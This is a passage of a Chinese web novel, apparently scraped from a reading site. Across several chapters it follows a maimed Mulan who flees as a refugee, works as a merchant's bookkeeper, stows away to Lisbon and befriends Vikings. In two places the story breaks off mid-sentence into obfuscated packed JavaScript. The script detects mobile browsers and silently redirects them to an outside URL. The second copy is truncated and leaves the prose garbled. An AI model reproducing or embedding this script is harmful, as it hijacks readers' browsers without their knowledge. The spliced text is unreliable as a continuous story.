身边是绵延不绝的人流——衣衫褴褛、面黄肌瘦的灾民，扶老携幼，沉默地向南蠕动。他们的眼睛里没有光，只有求生的本能。木兰用尚且完好的左手，摸到身边一根被丢弃的烂木棍，挣扎着，用尽全身力气，将自己撑了起来。每动一下，伤口都传来撕心裂肺的疼。她不知道自己是谁的将军，也不知道该去往何处，只是被这股求生的人潮推着，也向南走去。 这一走，便是两个月的人间地狱。 吃的是路旁刚冒出不久的草根，树皮；喝的是浑浊泥坑里的积水。伤口反复溃烂，高热如影随形，时常走着走着便眼前一黑，栽倒在地。醒来时，往往已被后来者踩过几脚，包袱里仅剩的几枚铜钱早已不见。最饿的时候，她曾与野狗争夺城外潲水桶里那点发馊的残渣。腥臭的汁液糊在脸上，混着汗水和尘土。她不再记得自己是“木兰”，只是一个代号——“独眼跛臂的乞儿”。 无数次濒临溃散的边缘。唯一维系她一丝清明的，是紧贴心口的白玉簪。它被油布包裹，藏在她浑身酸臭污秽的最深处，一个乞儿一无所有，这是她唯一的求生意志 就在她觉得自己即将化为路旁一具无名白骨时，转机出现在一座相对安宁的南方城镇外。 一群灾民聚集在城门外，一个身着绸衫、留着山羊胡的商人，正带着几名仆从，挑剔地打量着人群，像在挑选牲口。他在灾民中挑选去西域的劳力与仆役，条件苛刻，近乎卖身，但管饭。 木兰的心猛地一跳。这是唯一脱离这泥沼的机会。她用最后的气力挤出人群，找到一处浑浊的水洼，用左手掬起水，狠狠搓洗着脸颊和脖颈。污泥褪去，露出苍白却依稀能辨的清秀轮廓。她走到商人面前，没有下跪，只是挺直了那仅存的、属于将军的脊梁。 “我会算数，懂记账，识字。”她的声音沙哑，但清晰，“《九章》能通，各地货殖差价，心中也有谱。招我，比招十个只出蛮力的划算。” 王慎之嗤笑：“一个残废，识得几个字，也敢大言不惭？” “残废，”木兰的独眼迎上他的目光，平静无波，“才更需要依附东主，别无二心。身强力壮者，路遇机遇或险阻，易生异心或逃散。而我，”她顿了顿，“所求不过一饭一榻，安稳活命。你若想生意稳妥，多赚几分利，不妨试试。” 王慎之沉吟片刻，挥手：“跟上吧，管仓库。若不尽心，滚回这泥地里。” --- 仓库成了木兰的战场。左手执笔从歪斜到工整，她用不同颜色的石子标记货品：青色是江南丝绸，黑色是闽地茶叶，白色是景德瓷器。每批货的入库时间、存放位置、预计损耗，都记在脑中那张无形的图上。 她发现运茶叶的藤筐在潮湿角落易发霉，便请示将茶叶移至二楼通风处，底下改堆耐潮的瓷器。丝绸怕虫，她找来廉价艾草铺在货架间隙。商队出发前，她按货物轻重缓急和驼队运力，列出一张装货次序单——先瓷器，次茶叶，最上是丝绸。 三个月后盘点，损耗比往年降了三成。王慎之开始让她接触账本。她很快发现采购价的蹊跷：同样产自苏杭的素绫，不同供货商报价相差近两成。她在入库时留了心。 “这里，”她指着账目对王慎之说，“每匹多付三钱银子，三十匹便是九两。若换陈记供货，同等质地每匹可省二钱半，一年采买百匹，便是二十五两。” 王慎之捻了捻胡须。他让木兰暗中比对更多货品质量与价格，重新议价。半年下来，仅采购一项便省下近百两。这个残废，果然不简单。 那么这次西行就带上她。 --- 王慎之是个在夹缝里也能闻见钱味的商人。 哪怕在战乱年月，也能寻到商机，他的生意规模不算顶大，却有着旁人不及的门路。他有本事将江南的丝绸送进朱门高户里的老爷们，也能让北地的香料宝石落到狄人手中。货不分东西，钱不论出处，这便是他的生财之道。 木兰在他商队的仓库里，已待了大半年。 木兰平日只在货仓深处打理账目。她对市价变动极为敏锐，米价骤跌而宝石畅销，便知北狄南下之势已成。难民十不存一，粮荒稍缓，而南方权贵已开始为议和备厚礼。这般洞见让她的建言总能占得先机，虽非万全，却令王慎之获利颇丰——趁乱低价收拢逃亡织户的库存，待官府需装点太平之时高价售出。凡此种种，皆由王慎之亲自操办，木兰始终隐于幕后，不现人前。 直到商队行至一座稍大的城池。车马穿过城门，木兰下意识将帘布掀开一线，只一眼，她便定住了。 大街小巷的土墙上，墨迹淋漓的告示刺入眼帘。画像刻意丑化成狰狞模样，眉目粗戾，旁边是斗大的“逆贼”二字，名姓处只简略写着“木兰”。通篇痛斥其拥兵自重，图谋不轨，却讳言那曾是惊动天下的“花家女状元”，更抹去所有女子痕迹。 --- 木兰静静放下车帘。车内昏暗，她低头看了看空荡的右袖，左眼上永不消散的阴翳。嘴角扯出一个极淡的弧度，没有悲愤，只有冰冷的了然。 她曾笃信，凭手中笔、掌中剑，可报效家国，可开辟一条前所未有的路。如今她看明白了，这不过是个逃不脱的循环。贤才志士纵有经天纬地之能，也须得精通权谋机变，方能在庙堂立足。即便遇着明君，天下承平，功高震主者又何曾有过善终？更何况昏聩当道，饿殍遍野之时。王朝倾覆，新朝又起，周而复始，无非是城头变换旗号，底下流淌的血与泪并无不同。 她花木兰，文状元考过，武将军当过，浴血疆场，收复故土，自问于国于君，皆无愧于心。可结局是什么？是七箭穿身，沉尸江底，是画像贴满街巷，名字沦为逆贼。 而阿银…… 想起这个名字，她心口那枚贴身藏着的白玉簪，似乎微微发烫。 如今她这副残躯，这个身份，若贸然回去，不是团聚，是灾祸。朝廷的鹰爪不会放过，即便新朝建立，那位她曾有过数面之缘、言谈间令人脊背生寒的摄政王，又岂会容得下她？她自己尚且朝不保夕，谈何护阿银周全？ 不能回去。 至少，不能这样回去。 --- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081252|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驼铃第一次在河西走廊的晨曦中响起时，木兰用左手将最后一卷丝绸的编号誊录在册。王慎之的商队像一枚楔子，稳稳钉入西行的商流。 白天的路程漫长。烈日，风沙，无垠的灰黄。夜晚扎营时，木兰常在篝火边缘，听驼夫们压低声音说起故国越来越糟的战事。 “听说京城……守不住了。” “摄政王不是带着新军北上？” “换谁坐那个位置，日子不还得照样过？” 算珠在木兰指间断续作响，替她掩去心底的叹息。她已悄悄规划了另一条路。在管理账目时，她以极谨慎的手法，一点一点地攒下了一笔不算丰厚、但足以支撑她潜行回京寻找阿银的银钱。她在等，等一个风声稍缓的时机。 这个念头支撑她走过河西的两个月风沙，直到商队在龟兹绿洲的货栈安顿下来。 --- 那是个闷热的西域之夜。 货栈库房里堆满待整理的货箱，木兰就着油灯核对清单。门被猛地推开，浓烈的酒气先涌了进来。是常随另一支海商队来往的老陈，来取寄存的货物。 老陈脚步踉跄，看见灯下的木兰，便凑过来，大着舌头：“小、小哥，还在忙啊？”不待木兰回答，他自顾自说下去：“你见过……自己会动的织机没？老汉我在英吉利国亲眼见的！不用人，一夜能织百匹布！” 木兰笔尖未停：“奇技淫巧。” “奇技？”老陈瞪起眼，仿佛受了侮辱，“还有铁造的大鸟，能驮着人在天上飞！玻璃造的屋子，比咱们的佛塔还高！” 这次木兰抬起了头，独眼里映着跳动灯焰。 老陈见她似乎听进去了，说得更起劲：“最奇的还不是这些。是他们那儿的‘理’！”他打了个酒嗝，“他们那儿，国王上头还有‘议会’，一群大臣管着国王！国王想打仗、想收税，得那群人点头才行！这叫……这叫‘君臣共治’！” 木兰笔尖一顿。 老陈没察觉，沉浸在酒后的亢奋中：“他们说，权力不能全搁一个人手里，得分着管，互相盯着，这样才不容易出昏君暴君……嗝……你说怪不怪？跟咱们这儿，全反着来！” 库房安静下来，只有油灯芯轻微的噼啪声。 良久，木兰缓缓开口，声音有些干涩：“如此……不会乱么？” “乱？嘿！”老陈摇头晃脑，“人家说，这才是防着大乱的道理！一个人聪明，能聪明一世？一个人圣明，能圣明百年？把规矩立在明处，比指望坐在上头的那个人永远圣明，靠谱！” 他拍了拍木兰的肩膀：“小哥，这世界大着呢！咱们觉得天经地义的理儿，在人家那儿，可能就是个……屁！” 说完，他摇摇晃晃抱起自己的货箱，嘟囔着走了，留下满室酒气和一片死寂。 木兰坐在灯下，久久未动。 自走之机，铁鸟翔空，已是奇闻。 君臣分权，以法度制衡君王…… 这触及的是更根本的东西。 她想起金銮殿上的衮衮诸公，想起战场上堆积如山的尸骨，想起沧江刺骨的寒冷和城墙上扭曲的“逆贼”画像。周而复始的王朝，你方唱罢我登场，流血的永远是百姓，背负罪名的永远是败者。 如果……如果有一种法子，能打破这个循环？ 如果有一种力量，不来自某个“明君”，而来自某种更稳定、更可循的“理”？ 这个念头如野火，猝然燎过她原本只想苟全性命、暗中守护的心原。 5. 北海渡2 数日后，商队抵达高昌。绿洲的繁华扑面而来，栗特商人、波斯香料、玻璃器皿折射着炫目的光。 在王慎之熟识的货栈里，木兰第一次见到了“自鸣钟”。 黄铜镶边的木匣，嵌着圆盘与指针，规律地发出“嘀嗒、嘀嗒”的声响。货栈主人，一个栗特老者，得意地拧动侧面的钥匙，内部传来细微而清晰的齿轮咬合声。 “不用人推，不用水转，上了发条自己就能走。”老者说。 木兰伸出手指，轻触那冰凉的外壳。指尖传来细微却坚定的震动——机械的脉动。她俯身细看，透过缝隙，隐约可见内部精密的铜齿轮彼此衔接，一环扣一环，将发条蓄积的力量，一丝不苟地转化为指针平稳的圆周运动。 严谨，精确，可预期。 这不同于她所知的任何力量。人力有穷，水力受制于天时，而这只匣子里的力量，只要规律不被破坏，它就会一直走下去，忠实地履行“计时”这个单一的使命。 老海商的声音在脑中回响：“……把规矩立在明处……” --- 在龟兹与疏勒的长途贸易中，木兰的才能在琐碎中愈发凸显。她不仅记账，更能发掘那瞬息的商机。注意到于阗玉料价格因短暂战事波动，她建议王慎之暂缓出售手中存货，两月后战事平息，玉价回升，利润多了三成。发现往来商队压根不懂沙漠夜晚的骤寒。她牵线让王慎之低价吃进一批积压的吐蕃毡子，转手将厚实毛毡便卖给即将深入北道的波斯商队，获利颇丰。 王慎之看她的眼神，渐渐从“可用的残废”，变成了“不可或缺的头脑”。他甚至私下感叹：“你若四肢健全，必是商界巨擘。” 木兰垂首核对着账目，心中一片沉寂。商界巨擘？她本就生在药商之家，自幼与账册数字为伴；后来身居庙堂，更曾执掌户部，洞悉天下财货流转。如今这点对市价波动的直觉，不过是乱世中求存的本能残余，是她用以撬开更广阔天地的一道微小缝隙。 这个世界远比她想象的辽阔。从波斯商人口中，她知道再往西有“大海”，海上巨舰不靠桨橹。从粟特僧侣那里，她听说极西之地的人信奉的“神”，鼓励人们钻研万物之理，甚至“与造物主竞巧”。这些碎片化的信息，与自鸣钟的齿轮、老海商的醉语，在她心中缓慢拼接。 终于，在离开中原近八个月后，商队抵达了疏勒以西的最后一个大驿站，也是陆路商队的转折点——王慎之称之为“西陲关”。在这里，他将决定是继续向西试探更陌生的商路，还是就此折返，满载西域珍宝东归。 --- 夜晚，王慎之将木兰叫到房中。桌上摊着地图，烛火摇曳。 “独眼” 他语气复杂，“往西，出此关再行月余，便是传闻中的‘海西之地’，胡商所言英吉利等国的商船，偶尔会抵达那里的海岸交易，但路途更险，语言彻底不通，我也从未走过。你缺手少眼，未必熬得住。” “若你不想再受这份罪，”他顿了顿，“我可以在此地或龟兹，为你置办一份产业，足够你安稳余生。你为我省下的钱，早已超出当初约定。” 这是报偿，也是告别。王慎之是个商人，但并非毫无情义。 木兰沉默了。怀中那袋早已备好的、用于潜归的银钱，正巧应和上了王慎之的打算。安稳余生，隐姓埋名，和阿银找一处远离烟火的地方隐居到老，默默活着……这是她原本计划的一切。 然而，高昌的齿轮声，老海商口中“君臣共治”的怪谈，还有那些关于铁鸟、自走机器的荒诞描述，此刻却像海浪般冲击着这个原本坚固的计划。 她抬起头，独眼在烛光下清亮如昔。 “东家，”她的声音平稳如常，却带着不容余地的力量，“我随你西行” 王慎之有些意外：“你可知前方……” “我知。”木兰打断他，“我能让货损再减一成。陌生商路，物价风俗需人记录梳理。我能做这件事。” 话中利害，彼此分明。 她没说出口的是：如果那些都是真的，那么她或许能找到一种比残躯潜归更有力的“回去”的方式。不是作为需要藏匿的逃亡者，而是作为……携带着新答案的归来者。 王慎之缓缓点头，不再多言。 --- 出关西行的路，景色渐变。绿洲愈发稀疏，风中的咸腥气却隐约可辨。直到某天，驼队翻过一道漫长的沙梁，眼前豁然开朗—— 那不是沙漠，也不是绿洲，而是一片无垠的、在阳光下闪烁碎金的蔚蓝。 海。 咸湿的风猛烈起来，鼓动着所有人的衣袍。港口不大，岸边停泊的船只却形制古怪，高耸的桅杆如林。其中最显眼的几艘巨舰，船身涂着深暗的颜色，帆索复杂如蛛网。 码头上，人群的样貌与装束是木兰从未见过的。金发碧眼，深肤卷发，语言嘈杂如鸟雀。空气里混杂着鱼腥、松脂、陌生的香料，还有……一种类似于铁器在火上灼烧后的味道。 王慎之的商队在此引起了小小的骚动，但很快被更大的喧嚣淹没。日日忙碌的码头不缺各地来往的商队。他指挥卸货，目光却也不由自主地被港口那些西洋巨舰吸引。 木兰站在码头边，海风吹动她空荡的右袖。她看着那些巨舰甲板上，水手们用绳索和滑轮吊装货物。那货物并非丝绸瓷器，而是巨大的、形状规则的金属构件，在阳光下反射着冷硬的光。她甚至看到其中一个构件上，分明铸有齿轮的轮廓。 她的心跳，在那一刻，与记忆中自鸣钟的“嘀嗒”声，骤然重合。 老海商没有骗人。那不是一个醉汉的胡话。这是一个全新的、由金属、齿轮、未知规则和浩瀚海洋构成的世界，它真切地存在着，就在眼前这片陌生的海岸线上。 当夜，商队在港口简陋的客栈安置。王慎之忙碌着最后一批货物的交割，并打听着东归商队结伴的事宜。 深夜，万籁俱寂。木兰只取了一小袋最便于携带的金银碎屑，一些干粮，和那枚片刻不离身的白玉簪，贴身藏好。 她推开木窗，港口的夜风浩荡涌入。远处，那艘最大的西洋帆船如黑色山峦，桅杆上的风灯是悬于天际的孤星。东边，是来时的万里长路，和路尽头那个战火未熄、等待重构的故国，以及故国里那个她发誓要回去相见的人。 回去，是已知的温情与绝望。 前行，是未知的凶险与可能。 她独眼望着那艘船，阿银的脸庞在心底浮现，清晰得令人心痛。此去，或许永诀。 但她想起老海商的话，想起高昌齿轮严密的咬合，想起这片海岸线上陌生的活力与那些冰冷的金属构件。 如果这个世界真的有另一种“理”，一种可以打破循环、创造不同未来的力量……那么，抓住它，或许才是对阿银、对那个她曾浴血捍卫却最终辜负她的故国，更负责任的做法。 她轻轻关窗，吹熄油灯。 在绝对的黑暗与寂静中，她像一缕没有重量的影子，滑出房间，融入港口深夜的雾气与货堆的阴影里。脚步朝着码头，朝着那艘即将启航的巨舰，坚定而去。 身后，是八个月的陆路跋涉，是认知的层层颠覆。 前方，怒海颠簸，不知生死 风更急了，鼓动着巨舰的帆索，发出呜呜的声响，如远征的号角。 木兰最后回望了一眼东方吞噬一切星辰的黑暗，然后转身，再不回头。 --- 夜色如墨，港口只余零星灯火。巨舰如一头沉睡的黑色巨兽，泊在码头最外侧。甲板上值夜的水手倚着船舷打盹，交接的间隙短暂得如同呼吸间的停顿。 木兰隐在货堆的阴影里，独眼适应着黑暗。她数着心跳，计算着脚步。三、二、一——就是此刻。 她如一片落叶，悄无声息地掠过甲板，顺着缆绳滑向底舱入口。动作干净利落，带着军中斥候特有的精准。舱门虚掩，她侧身挤入，迅速没入堆积如山的货箱与缆绳之间的缝隙。空间狭窄得仅容转身，空气中弥漫着陈年谷物、咸鱼和湿木头的混合气味。 她蜷缩下来，警惕的听着任何动静，心脏跳动如此强烈。 舱门被重新锁上时，沉重 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第三周，干粮耗尽。饥饿如钝刀，缓慢切割着意志。她开始出现幻觉——看见阿银站在青梅树下，看见战场上飘扬的红旗，看见江水中自己下沉的身影。每一次，她都用力咬破舌尖，用疼痛拽回神智。 不能死在这里，我不可能作为一只船底下的老鼠而死去。这个念头支撑着她。 第四十二天，头顶传来异常的喧哗。锚链再次哗啦作响，船身震动得比以往更剧烈。然后，是久违的、几乎被遗忘的声音——海鸥的鸣叫，码头的喧嚣，人声鼎沸。 舱盖被打开了。 刺目的阳光如利剑劈入黑暗。木兰本能地闭上眼，再睁开时，泪水模糊了视线。不是悲伤，是太久未见光的生理反应。新鲜的海风涌入，咸腥，却带着勃勃生机。 她知道自己赌赢了第一步。 港口的喧嚷几乎将她淹没。 里斯本，欧陆西缘的巨港，此刻正吞吐着来自三大洲的货物与人流。码头栈桥延伸入海，停泊着各式船只——卡拉维尔帆船修长优雅，克拉克巨舰如山耸立，北地来的长船线条粗犷。空气是复杂的混合物：东方香料的馥郁，非洲皮革的膻腥，腌鱼桶的咸臭，橄榄油的清香，还有汗味、酒气、牲畜粪便的气息。 人们穿着各色服装，说着听不懂的语言。金发碧眼的，肤色黝黑的，裹着头巾的，披着斗篷的。建筑多是用浅黄色石头垒成，线条硬朗，窗户窄小，与故国木构飞檐的灵动截然不同。 木兰站在码头上，空荡的右袖被海风吹得微微飘动。独眼缓缓扫视周遭，如将军勘察陌生战场。 最初的震撼很快过去。生存，是此刻唯一需要思考的事。 她身上最后的财产，是缝在内襟夹层里的几片碎银和那枚从不离身的玉簪。前者是活下去的资本，后者是活下去的理由。 港口南侧有一片开阔的海滩，潮水退去时，会露出一片细沙地。这里流行着一种古老的交易方式——默市。来自不同地域、语言不通的商人，各自划定一小块区域，摆上货物，然后退到远处。买主上前察看，若相中了什么，便放下自己认为等值的货品，取走想要的。全程无需交谈，全凭对价值的判断与一种原始的默契。 木兰观察了两天。 她看见一个摩尔人用一袋靛蓝染料换走了一把镶嵌象牙的匕首；一个威尼斯商人放下两卷亚麻布，取走了一小箱肉桂；一个本地农夫犹豫许久，最终用三只活鸡换走了一柄生锈但完好的镰刀。 价值在这里没有统一的标准，全看双方的需求与判断。 第三天清晨，她走向一个看起来焦躁不安的北非商人。那人面前摆着几件象牙雕刻——小巧的河马、长颈鹿，还有一只巴掌大的象。雕刻技法朴拙，却自有一种生气。 木兰蹲下身，用左手拿起那只小象，仔细端详。商人叽里咕噜说了些什么，她听不懂，但能看出他眼神里的急切——他急需脱手。 她从怀中取出一片最小的碎银，放在对方面前。商人眼睛一亮，迅速抓过银子，将几件象牙雕刻全推到她面前，甚至多塞了一只歪嘴的河马。 第一笔交易成了。 6. 北海渡3 接下来的两天，木兰像一颗落入溪流的石子，在默市的交换网络中激起细微的涟漪。她用河马雕刻从一个匈牙利皮毛商那里换到一小块鞣制柔软的羊皮；用羊皮从一个热那亚老妇人那里换到三枚还算光亮的铜币；又用铜币从一个落魄的水手那里，换到一把旧但锋利的匕首。 资本在缓慢地增值，像春雪融化后渗入地下的细流。 但她清楚，这种依赖运气和瞬时判断的交易方式，根基太脆弱。一个残疾的东方面孔，揣着稍多一点的财物在鱼龙混杂的港口行走，如同稚子怀璧夜行。 她需要更稳定的生计，更需要——学会这里的语言。 码头区边缘有家叫“破帆”的小酒馆。木板搭成的房子歪斜着，门口挂着半截真正破烂的船帆。这里是水手、搬运工和无所事事的流浪汉聚集的地方，终日弥漫着劣质麦酒和汗臭的味道。 酒馆外头的空地上，常有人聚在一起玩一种简单的纸牌游戏。规则粗浅：每人发三张牌，比大小，下注，开牌。赢家通吃。 木兰在远处看了三天。她看不懂牌面上的符号，但看得懂人的表情——拿到好牌时瞳孔细微的扩张， bluff 时喉结不自觉的滑动，输钱后咬紧的后槽牙。这些微小的信号，在战场上她用来判断敌军将领的虚实，在这里，成了另一种武器。 第四天，她走了过去。 赌注很小，一次不过两三枚铜币。她下注谨慎，赢一局便收手，输一局就默默退开。几天下来，竟攒了一小把铜子。 人们开始注意到这个沉默的东方残废。起初是好奇，后来是轻蔑，再后来，当发现她赢多输少时，眼神里多了别的东西。 危险在一个闷热的午后降临。 对手是个叫“大块头约翰”的英格兰水手，胳膊有木兰大腿粗，脖子上挂着鲸牙项链。他已经连输三局，面前只剩最后一枚铜币。汗珠从他通红的额头上滚落，眼睛里布满血丝。 第四局，木兰的牌并不好。但她从约翰快速眨动的眼皮和微微颤抖的手指看出，对方的牌更糟。她跟注了。 开牌。木兰输了。 按照规则，她该推过自己下注的两枚铜币。但她没有动。 “你出千。”她用生硬的、带着古怪口音的单词说。这是她这几天认真学来的，发音不准，但意思明确。 周围瞬间安静了。 约翰的脸由红转紫，像块煮过头的猪肝。他猛地站起来，木凳哐当倒地。“你说什么？！”咆哮声震得人耳膜发疼。 “上一局，”木兰慢慢地说，每个字都像从石头里凿出来，“你右手袖口，多了一张牌。” 她其实没看见。但她记得上一局约翰洗牌时一个不自然的停顿，记得他开牌前左手曾快速拂过右袖。这是猜测，更是试探。 而约翰暴怒的反应，证实了猜测。 “你这黄皮猴子——！”怒吼声中，巨大的拳头挟着风声砸来。 木兰没有躲。或者说，以她此刻的状态，根本躲不开这蓄满怒气的一击。 拳头重重砸在左肩，骨头发出令人牙酸的闷响。她向后踉跄，撞翻了一张桌子，摔倒在地。紧接着，靴子踹在腰侧、后背。疼痛如炸开的火星，瞬间席卷全身。 她蜷缩起来，头紧紧抵着膝盖，左手虚掩在胸口。任凭拳脚如雨点落下，她一声不吭。 周围有人吹口哨，有人大笑，没人上前。 不知过了多久，殴打停止了。约翰啐了一口，抓起桌上所有的铜币，骂骂咧咧地走了。 木兰躺在地上，缓了很久。然后，她用左手撑地，一点一点，艰难地坐起。嘴角有血，肋骨疼得像要裂开。她慢慢整理被扯乱的衣襟，指尖触到内襟夹层，最后的资产也还在。 她扶着墙壁站起，一瘸一拐地离开“破帆”酒馆。身后，嘲笑声渐渐远去。 夕阳将港口的影子拉得很长。她走到一处僻静的海堤，靠着冰冷的石墙坐下，面对大海。 海风拂面，带着遥远的咸味。疼痛在身体里一跳一跳，但她的眼神很平静。 这一顿打，打碎了她最后的侥幸。在这里，没有故国的法度，没有同袍的情义，甚至没有基本的公道。力量是唯一的法则，狡诈是通用的语言。 她需要新的生存方式。需要真正掌握这里的语言，需要找到不依赖运气和暴力的立足之地。 远天，海鸥盘旋鸣叫。更远处，海平面与暮色交融，模糊了界限。 “仅是一个新开始而已，”她对着东方，轻声说，“我会找到路的。” 声音很快被海风吹散。但她眼底，那簇从沧江底、从流民潮、从仓库尘埃里始终未曾熄灭的火苗，在异国的暮色中，静静地，重新燃亮。 --- 语言是墙。 木兰站在里斯本喧闹的市集中央，第一次如此清晰地感受到这堵无形的墙。四周声音汹涌如潮——商贩嘶哑的叫卖，顾客急促的讨价还价，水手们粗野的玩笑，妇女们琐碎的闲聊。所有这些声音在她耳中只是一团模糊的、无法辨义的噪音，像隔着厚重毛玻璃看世界，轮廓皆有，内里全无。 她成了彻底的哑者与聋者。 右臂空袖在风中微微晃动，左眼的视线虽已适应光线，却依然蒙着一层永久的薄翳。但此刻，听觉与言语的丧失，比□□的残缺更让她感到隔绝。在故国，她是运筹帷幄的将军，是笔走龙蛇的状元；在这里，她连最基本的“我要买面包”都无法准确说出。 不能这样下去。 这个念头比饥饿更紧迫。她开始了一场沉默的、笨拙的，却无比执着的攻坚战。 目标是一切发出声音的人。 清晨码头，搬运工喊着号子扛起麻袋。木兰站在不远处，嘴唇无声地翕动，模仿着那些短促有力的音节。“嘿——嗬——”“左——转——”。她分辨着音调的变化，猜测着每个词对应的动作。路过的人嫌弃的看了一眼，疾步走过。 中午集市，鱼贩和主妇为一尾鳕鱼的价格争执。她假装挑选旁边的蔬菜，耳朵却竖着，捕捉着数字的发音。“一……二……三……”她默记着，手指在袖中悄然弯曲计数。 下午小巷，几个流浪儿追逐嬉戏，嘴里吐出连串的俚语脏话。她靠在墙边阴影里，仔细分辨那些轻快的节奏和爆破的音节，那是语言最鲜活、最不加掩饰的部分。一句脏话，稍微改变一下音调，即可表达超于想象的多种意义。 她像个贪婪的海绵，试图吸干周围所有的声音水分。遇到愿意多说几句的人，她便用手势比划，用仅会的几个词笨拙地拼接：“你……说……慢……我……听。”大多数时候，换来的是不耐烦的挥手、厌恶的白眼，或干脆的驱赶。 “走开！老鼠！”一个卖陶罐的老妇人用扫帚用力的扫着木兰的腿，眼神里满是嫌恶，毫无防备的木兰踉跄了两步。 木兰没有争辩，默默退开。独眼低垂的瞬间，她看到陶罐上的彩绘纹样——那是摩尔风格的几何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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木兰接住，没有立刻吃。她继续清洗铜器，直到所有能擦的都擦亮，才退到货摊侧面阴影处，小口啃起面包。 那天，她听了七场交易。老费尔南多和一個威尼斯商人用意大利语夹杂着手势讨价还价；和一个柏柏尔人用阿拉伯语简短交谈；和一个本地主妇用流利的葡萄牙语推销一盒“来自东方的神秘香膏”。木兰如饥似渴地听着，大脑飞速运转，试图在那些跳跃的语言碎片中找到规律。 傍晚收摊时，老费尔南多指了指市场后方一排低矮的棚屋：“最右边那间，堆杂物的。你可以睡那里，别弄乱我的东西。” 那是间漏雨的破棚，堆着破渔网、生锈的锚链和发霉的木箱。但有一角勉强能容人蜷缩，头顶甚至有半片残瓦，能看见夜空。 木兰深深弯腰——这是她能做出的最郑重的谢意。 从此，她白天在货摊旁“工作”——整理、清洁、看守；夜晚回到破棚，消化白天听到的一切。老费尔南多很少和她交谈，但默许了她的存在，偶尔心情好，会指着某件货品说出它的名称和来历。 “这是‘amber’，”他拿起一块琥珀，对着阳光，里面封着一只古早的蚊子，“波罗的海来的。那边的人说，是古代巨龙的眼泪。” 木兰重复那个词：“安……布雷？” “接近了。” 语言的世界，第一次对她裂开了一道缝隙。 7. 北海渡4 通过老费尔南多的货摊，木兰见到了形形色色的航海者。其中最引人注目的，是那些被称为“维京人”的北方来客。 他们通常三五成群，身材高大如移动的橡树，金发或红发编成粗辫，胡子浓密。说话声如滚雷，笑起来能震落屋顶灰尘。穿着皮革与毛皮制成的衣物，腰间挂着战斧或长剑，走起路来大地仿佛都在震颤。 大多数本地商人对他们敬而远之。背后议论时，用的词是“蛮族”、“强盗”、“未开化的野兽”。交易时也带着小心翼翼的戒备，仿佛随时准备呼喊卫兵。 但木兰看他们的眼神不同。 她曾在军营里，与那些最粗野的边军士卒同吃一锅饭，同睡一张大通铺。那些人说话直来直去，满口脏话，为一点肉汤能大打出手。但上了战场，他们是将后背托付给你的兄弟；你落了难，他们会是第一批提着刀来救你的人——哪怕只是为了“咱们的人不能这么窝囊地死”这种简单的念头。 表面的粗豪之下，往往藏着更直白的善恶观，和一种近乎固执的义气。 她开始留意那些维京人。观察他们交易时的习惯：不喜讨价还价，看重货物的实用与坚固，对精巧但易碎的花哨玩意兴趣缺缺。他们更愿意用银币直接结算，对本地复杂的货币兑换体系不耐烦。 一个午后，机会来了。 年轻的红发维京人埃里克正在和一个本地皮货商交易。他想买几张鞣制好的厚牛皮，用来修补船帆和制作护具。皮货商堆着笑脸，嘴里吐出一连串快速的葡萄牙语，手里比划着数字。 埃里克皱着眉头，显然没完全听懂。他接过皮货商递来的几张皮子，用手摩挲厚度，又凑近闻了闻——这是判断皮革质量的本能动作。 木兰站在老费尔南多的货摊后，看得清楚。皮货商递过去的几张皮里，最上面那张边缘有修补的痕迹，鞣制也不均匀。而埃里克检查后放回摊位上的，却是质量最好的那张。 语言屏障下的欺诈。 她几乎没有犹豫，走了过去。 “那张，”她用生硬的、夹杂着这几天学到词汇的句子说，手指向被埃里克放回的好皮子，“好。那张，”又指向皮货商试图塞给他的次品，“坏。他，”指向皮货商，“骗你。” 语句破碎，但意思明确。 空气瞬间凝固。 皮货商脸色大变，张嘴想骂，但看到埃里克瞬间阴沉下来的脸，又把话咽了回去。维京青年缓缓转头，冰蓝色的眼睛盯住木兰，又看向皮货商，最后落在那两张皮子上。 他重新拿起皮子，仔细对比。次品边缘修补的针脚，在充足光线下无所遁形。 埃里克什么也没说。他只是将次品皮子扔回摊位，然后从腰间的皮袋里掏出原本谈好的银币数——减了一半，拍在好皮子上。接着，他抓起好皮子，转身就走。 皮货商想争辩，埃里克回头瞥了他一眼。那眼神像北地的寒冰，商人立刻噤声。 走出十几步，埃里克停下，回头看向还站在原地的木兰。 “你，”他用带着浓重北方口音、但意外清晰的葡萄牙语说，“过来。” 维京长船“海狼号”的船员在港口有个固定聚集点——一家连招牌都没有的小酒馆，老板是个退役的老水手，麦酒酿得粗粝但够劲。这里很少见到东方面孔，更别提一个残疾的。 但埃里克把木兰带进来了。 酒馆里瞬间安静，十几双眼睛齐刷刷盯过来。好奇的、审视的、不加掩饰的怀疑。空气里有麦酒发酵的酸味、烟草味，还有男人身上浓重的汗味和海盐味。 埃里克用他们的语言——一种音节铿锵、带着喉音的语言——快速说了几句。木兰听不懂，但从那些大汉逐渐缓和的表情，和几道略带善意的点头中，她猜到埃里克在解释刚才的事。 “坐。”埃里克指了指长条木凳，自己在她对面坐下。他推过来一个厚重的陶杯，里面是浑浊的深色液体。“喝。” 木兰端起杯子，抿了一口。液体苦涩，带着焦糊味和细微的渣滓，但咽下去后，喉咙升起一股暖意。是劣质黑麦酒。 “你叫什么？”埃里克问。他的葡萄牙语比木兰好得多，虽然口音浓重。 木兰沉默片刻。真名不能说。她想起货摊上那些东方漆器盒子，上面常有的汉字标记。 “林。”她选择了这个简单单音节。 “林。”埃里克重复了一遍，点点头，“我，埃里克。‘海狼号’的桨手长。”他拍了拍胸口，又指向周围几个大汉，依次报上名字：“奥拉夫、比约恩、哈拉尔……” 